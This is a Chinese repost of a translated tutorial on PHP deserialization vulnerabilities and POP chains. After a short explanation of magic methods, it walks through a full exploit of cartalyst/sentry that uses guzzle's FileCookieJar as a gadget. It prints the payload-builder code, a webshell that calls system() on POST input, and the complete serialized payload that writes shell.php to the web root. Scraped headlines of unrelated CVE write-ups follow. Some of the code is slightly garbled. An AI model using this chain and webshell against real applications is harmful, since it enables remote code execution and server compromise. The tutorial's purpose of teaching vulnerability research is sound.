ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例

ref:https://www.anquanke.com/post/id/84922

PHP反序列化漏洞成因及漏洞挖掘技巧与案例

一、序列化和反序列化

序列化和反序列化的目的是使得程序间传输对象会更加方便。序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参数可以被用户控制那将会是一件非常危险的事情。不安全的进行反序列化造成的危害只有你想不到,没有他做不到,是的,没错。

序列化和反序列化的原理已经有很多文章了,这里就不赘述了。PHP的类有很多的 ‘魔术方法‘ ,比如:

__construct(), __destruct()
__call(), __callStatic()
__get(), __set()
__isset(), __unset()
__sleep(), __wakeup()
__toString()
__invoke()
__set_state()
__clone()
__debugInfo()魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。问题就出现在重载过程中,执行了相关代码。

这么多的魔术方法中我们所需要关注的方法也就是__destruct() 和 __wakeup() 方法.这两个方法中前者是在对象被销毁时程序会自动调用,后者是在类对象被反序列化时被调用.所以这两个方法是在 对象反序列化一直到程序执行完毕这整个过程中,必定会被调用的方法,如果在这两个函数中有一些危险的动作,并且能够被我们所利用,那么漏洞并出现了。

二、反序列漏洞的利用思路

理论

在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 "面向属性编程" ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。

如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.

Demo

所使用的代码。

DemoPopChain.php

<?php
    class DemoPopChain{
    private $data = “barn”;
    private $filename = ‘/tmp/foo’;
    public function __wakeup(){
        $this->save($this->filename);
    }
        public function save($filename){
        file_put_contents($filename, $this->data);
    }
?>

unserialize.php

<?php
        require(‘./DemoPopChain.php’);
        unserialize(file_get_contents(‘./serialized.txt));
?>

这是一个很简单的具有反序列漏洞的代码,程序从serialized.txt文件中读取需要进行反序列化的字符串。这个我们可控。同时该文件还定义了一个 DemoPopChain 类,并且该类实现了 __wakeup 函数,然后在该函数中,又调用了save函数,其参数为 类对象的filename属性值,然后在 save函数中调用了 file_put_contents 函数,该函数的两个参数分别为从save函数中传下来的 filename属性值 和 该对象的data属性值。又由于在反序列化的过程中被反序列化的对象的属性值是我们可控的,于是我们就通过对函数的嵌套调用和对象属性值的使用得到了一个 任意文件写入任意内容的漏洞.这就是所谓的POP。就是关注整个函数的调用过程中参数的传递情况,找到可利用的点,这和一般的Web漏洞没什么区别,只是可控制的值有直接传递给程序的参数转变为了 对象中的属性值。

三、现实中查找反序列化漏洞及构造exploit的方法

前置知识

PHP的 unserialize() 函数只能反序列化在当前程序上下文中已经被定义过的类.在传统的PHP中你需要通过使用一大串的include() 或者 require()来包含所需的类定义文件。于是后来出现了 autoloading 技术,他可以自动导入需要使用的类,再也不需要程序员不断地复制粘贴 那些include代码了。这种技术同时也方便了我们的漏洞利用.因为在我们找到一个反序列化点的时候我们所能使用的类就多了,那么实现漏洞利用的可能性也就更加高。

还有一个东西要提一下,那就是Composer,这是一个php的包管理工具,同时他还能自动导入所以依赖库中定义的类。这样一来 unserialize() 函数也就能使用所有依赖库中的类了,攻击面又增大不少。

1.Composer配置的依赖库存储在vendor目录下

2.如果要使用Composer的自动类加载机制,只需要在php文件的开头加上 require __DIR__ . ‘/vendor/autoload.php‘;

漏洞发现技巧

默认情况下  Composer 会从  Packagist下载包,那么我们可以通过审计这些包来找到可利用的 POP链。

找PHP链的基本思路.

1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数.

2.追踪调用过程

3.手工构造 并验证 POP 链

4.开发一个应用使用该库和自动加载机制,来测试exploit.

构造exploit的思路

1.寻找可能存在漏洞的应用

2.在他所使用的库中寻找 POP gadgets

3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload

4.将序列化之后的payload发送到有漏洞web应用中进行测试.

Example

1. 寻找可能存在漏洞的应用:   cartalyst/sentry

漏洞代码: /src/Cartalyst/Sentry/Cookies/NativeCookie.php

     ...
  public function getCookie()
  {
     ...
     return unserialize($_COOKIE[$this->getKey()]);
     ...
  }
}

这里从 cookie中获取了值,然后直接将他序列化.

2.程序使用的库中的POP Gadgets: guzzlehttp/guzzle

找Gadgets的最好的一个地方就是composer.json文件,他写明了程序需要使用的库.

  {
    "require": {
    "cartalyst/sentry": "2.1.5",
    "illuminate/database": "4.0.*",
    "guzzlehttp/guzzle": "6.0.2",
    "swiftmailer/swiftmailer": "5.4.1"
  }
}

a.从git repo下载这些库

b.在其中搜索__wakeup() 和 __destruct() 函数

/guzzle/src/Cookie/FileCookieJar.php

namespace GuzzleHttpCookie;
class FileCookieJar extends CookieJar
  ...
  public function __destruct()
  {
    $this->save($this->filename);
  }
  ...

这里使用类对象的filename属性值作为参数传入了save函数.我们来看看save函数具体实现.

FileCookieJar->save()

public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
  /** @var SetCookie $cookie */
  if ($cookie->getExpires() && !$cookie->getDiscard()) {
    $json[] = $cookie->toArray();
  }
 }
if (false === file_put_contents($filename, json_encode($json))) {
    throw new RuntimeException("Unable to save file {$filename}");
  }
}

可以看到我们传入的参数最后是直接被作为要写入内容的文件的文件名.这下文件名可控了,如果我们再能够控制文件的内容就能实现getshell了.通过代码可以发现文件的内容为上面一层循环中来得到的数组经过json编码后得到的.而数组中的内容为 $cookie->toArray() ,那么我们得去找到 $cookie对象是在哪定义的来确定他返回的值是什么,以及是否可利用.还有一点,我们还需要过掉那个判断才能给 json 数组赋值.所以我们需要关注的有三个点.

$cookie->getExpires()
!$cookie->getDiscard()
$json[] = $cookie->toArray()

我们并不知道$cookie 具体是什么类,我们可以通过搜索函数名,来定位这个类.通过这样定位到了SetCookie类.其代码如下.

namespace GuzzleHttpCookie;
class SetCookie
    ...
    public function toArray(){
       return $this->data;
    }
    ...
    public function getExpires(){
        return $this->data[‘Expires‘];
    }
    ...
    public function getDiscard(){
        return $this->data[‘Discard‘];
    }

可以看到那三个方法只是简单的返回了data数组的特定键值.

3.搭建环境进行poc测试

首先在虚拟机里创建这样一个composer.json文件来安装提供POP gadgets的库.

{
    "require": {
        "guzzlehttp/guzzle": "6.0.2"
    }
}

之后使用这个文件安装库

然后使用这个库,来构造反序列化的payload

<?php
    require __DIR__ . ‘/vendor/autoload.php‘;
    use GuzzleHttpCookieFileCookieJar;
    use GuzzleHttpCookieSetCookie;
    $obj = new FileCookieJar(‘/var/www/html/shell.php‘);
    $payload = ‘<?php echo system($_POST[‘poc‘]); ?>‘;
    $obj->setCookie(new SetCookie([
        ‘Name‘ => ‘foo‘, ‘Value‘
        ‘Domain‘ => $payload,
        => ‘bar‘,
        ‘Expires‘ => time()]));
    file_put_contents(‘./built_payload_poc‘, serialize($obj));

运行这个文件得到payload

# php build_payload.php
# cat built_payload_poc
O:31:"GuzzleHttpCookieFileCookieJar":3:{s:41:"GuzzleHttpCookieFileCookieJarfilename";s:23:"/var/www/html/shell.php";s:36:"GuzzleHttpCookieCookieJarcookies";a:1:{i:1;O:27:"GuzzleHttpCookieSetCookie":1:{s:33:"GuzzleHttpCookieSetCookiedata";a:9:{s:4:"Name";s:3:"foo";s:5:"Value";s:3:"bar";s:6:"Domain";s:36:"<?php echo system($_POST[‘poc‘]);?>";s:4:"Path";s:1:"/";s:7:"Max-Age";N;s:7:"Expires";i:1450225029;s:6:"Secure";b:0;s:7:"Discard";b:0;s:8:"HttpOnly";b:0;}}}s:39:"GuzzleHttpCookieCookieJarstrictMode";N;}

现在payload已经生成,我们在创建一个文件来测试这个payload的结果.

<?php
    require __DIR__ . ‘/vendor/autoload.php‘;
    unserialize(file_get_contents("./built_payload_poc"));

这个文件的内容很简单,就是把我们刚刚生成的payload反序列化.来看看效果

成功写入一个shell.

4.寻找使用了这个漏洞库并且有反序列化操作的程序这里是cartalyst/sentry,然后拿POC去打就好.

演示:

首先网站目录没有shell.php文件

让我们将cartalyst_sentry的cookie值设为经过url编码的反序列化payload,然后发送到应用中去.

现在shell.php已经出现了

本文翻译自 insomniasec, 原文链接 。如若转载请注明出处。

原文地址:https://www.cnblogs.com/studyskill/p/9040947.html

时间: 2024-07-30 09:42:37

ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例的相关文章

CVE-2014-0321漏洞成因分析

1. 简介 最近在补之前落下的想学的东西,古河之前已经在微薄里面公布了此漏洞的poc及利用思路,不过在看古河的文章前我先独立分析一下其漏洞成因,记录下自己的分析流程. 2. 实验环境 操作系统:Win8.1 x86 RTM 浏览器:Internet Explorer 11 32bits (补丁打到KB2909921) 漏洞编号:CVE-2014-0321 微软补丁:MS14-012 3. 漏洞分析 3.1. 分析Crash 3.1.1. 运行poc,查看crash 直接运行poc,崩溃后查看状态

CVE-2014-0322漏洞成因与利用分析

CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了对漏洞的利用,第一次分析这种IE+Flash组合的漏洞利用因此写下此文档作为记录. 2. 实验环境 操作系统:Win7 SP1 浏览器:IE 10.0.9200.16798(补丁打到MS14-010(KB2909921)) 漏洞编号:CVE-2014-0322 微软补丁:MS14-012 3. 漏洞

CVE-2013-3897漏洞成因与利用分析(UAF类漏洞分析流程)

CVE-2013-3897漏洞成因与利用分析(UAF类漏洞分析流程) 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存.攻击者可以利用此类漏洞实现远程代码执行.UAF漏洞的根源源于对对象引用计数的处理不当,比如在编写程序时忘记AddRef或者多加了Release,最终导致对象的释放.对于IE的大部分对象(COM编程实现)来说,+4偏移处的含义是该对象的引用计数,可以通过跟踪它来定位补丁前后的位置及被释放的位置.+0偏移处的含义是该对象的虚函数表指针,可以通

ref:ThinkPHP Builder.php SQL注入漏洞(&lt;= 3.2.3)

ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3) ref:https://www.jianshu.com/p/18d06277161e TimeSHU 2018.04.21 02:03* 字数 761 阅读 23评论 2喜欢 0 ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)的一次漏洞复现作业 ------------------------------------------------------------- 1.进入docker

zergRush (CVE-2011-3874) 安卓内核漏洞成因分析

部分内容参考自http://www.cnblogs.com/daishuo/p/4002963.html zergRush是我接触的第一个CVE漏洞,该漏洞影响安卓2.2-2.3.6版本系统.CVE-2011-3874描述得很明白,这个漏洞的本质是"use after free". 漏洞存在于/system/bin/vold这个root身份的系统程序.具体地,vold调用了libsysutils.so,真正有问题的是这个 so.对应源码在/system/core/libsysutils

OpenSSL重大漏洞-Heartbleed之漏洞利用脚本POC讲解

OpenSSL Security Advisory [07 Apr 2014] ======================================== TLS heartbeat read overrun (CVE-2014-0160) ========================================== A missing bounds check in the handling of the TLS heartbeat extension can be used t

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=---------------------------------------------------------------------------=||=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=||=---------------------------

继Struts2漏洞,Jackson漏洞来袭

前两天休息,偏偏此时出现漏洞了,心里咯噔一下,发表一下希望关注的博友可以重视下. 1.时间: 2017-4-17 2.漏洞: Jackson框架Java反序列化远程代码执行漏洞,Jackson可以轻松的将Java对象转换成json对象和xml文档,同样也可以将json.xml转换成Java对象. 3.漏洞分析: Jackson是一套开源的java序列化与反序列化工具框架,可将java对象序列化为xml和json格式的字符串及提 供对应的反序列化过程.由于其解析效率较高,目前是Spring MVC

(转载)DotNetTextBox编辑器漏洞(system_dntb漏洞)

关键字:system_dntb/确定有 system_dntb/uploadimg.aspx 并能打开,这时候是不能上传的,由于他是验证cookie来得出上传后的路径,这样我们可以用cookie欺骗工具.cookie:UserType=0; IsEdition=0; Info=1; uploadFolder=../system_dntb/Upload/;路径可以修改,只是权限够,上传后改名为1.asp;.jpg利用iis解析漏洞. (转载)DotNetTextBox编辑器漏洞(system_dn